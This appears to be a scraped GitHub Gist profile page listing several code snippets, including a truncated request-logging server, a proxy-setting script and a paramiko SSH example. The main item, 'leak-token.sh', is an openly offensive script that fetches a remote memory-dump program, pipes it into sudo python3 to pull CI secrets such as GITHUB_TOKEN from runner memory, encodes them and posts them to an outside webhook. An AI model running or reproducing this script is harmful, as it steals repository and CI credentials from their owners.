Skip to content

Instantly share code, notes, and snippets.

View arunstar's full-sized avatar
🎯
Focusing

Arun arunstar

🎯
Focusing
View GitHub Profile
#!/usr/bin/env python3
# based on https://davidebove.com/blog/?p=1620
import sys
import os
import re
def get_pid():
@arunstar
arunstar / leak-token.sh
Last active December 12, 2025 19:40
Leak GITHUB_TOKEN to your server
# Uses memory dump technique from github.com/nikitastupin/pwnhub / with regex to parse out all secret values (including GITHUB_TOKEN)
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/arunstar/dffd5ddde164203c22a49f6a2cccc398/raw/574e7e6718b4242772d3634fe7f8040e6dbca8b0/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
# Print to run log
echo $B64_BLOB
# Exfil to Burp
curl -s -d "$B64_BLOB" https://little-feather-2780.tines.com/webhook/your-first-story/7f0d2f910d839f306a9ce9b810f61ab8 > /dev/null
# Sleep for 15 mins
sleep 900
@arunstar
arunstar / server.py
Created September 8, 2023 08:36 — forked from mdonkers/server.py
Simple Python 3 HTTP server for logging all GET and POST requests
#!/usr/bin/env python3
"""
License: MIT License
Copyright (c) 2023 Miel Donkers
Very simple HTTP server in python for logging requests
Usage::
./server.py [<port>]
"""
from http.server import BaseHTTPRequestHandler, HTTPServer
@arunstar
arunstar / setproxy.py
Created November 29, 2018 08:53
A python script that sets proxy in ubuntu environment
import sys
import re
import fileinput
if len(sys.argv) != 5 and len(sys.argv) != 3:
print "Wrong command, sample commands: \n python setproxy.py server port username password \n OR \n python setproxy.py server port"
else:
proxy = sys.argv[1]
port = sys.argv[2]
/*!
* IP Address geocoding API for Google Maps
* http://lab.abhinayrathore.com/ipmapper/
* Last Updated: June 13, 2012
*/
var IPMapper = {
map: null,
mapTypeId: google.maps.MapTypeId.ROADMAP,
latlngbound: null,
infowindow: null,
@arunstar
arunstar / example_paramiko_with_tty.py
Created June 2, 2017 05:40 — forked from rtomaszewski/example_paramiko_with_tty.py
example paramiko script with interactive terminal
import paramiko
import time
import re
bastion_ip='ip'
bastion_pass='pass'
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy( paramiko.AutoAddPolicy() )
ssh.connect(bastion_ip, username='root', password=bastion_pass)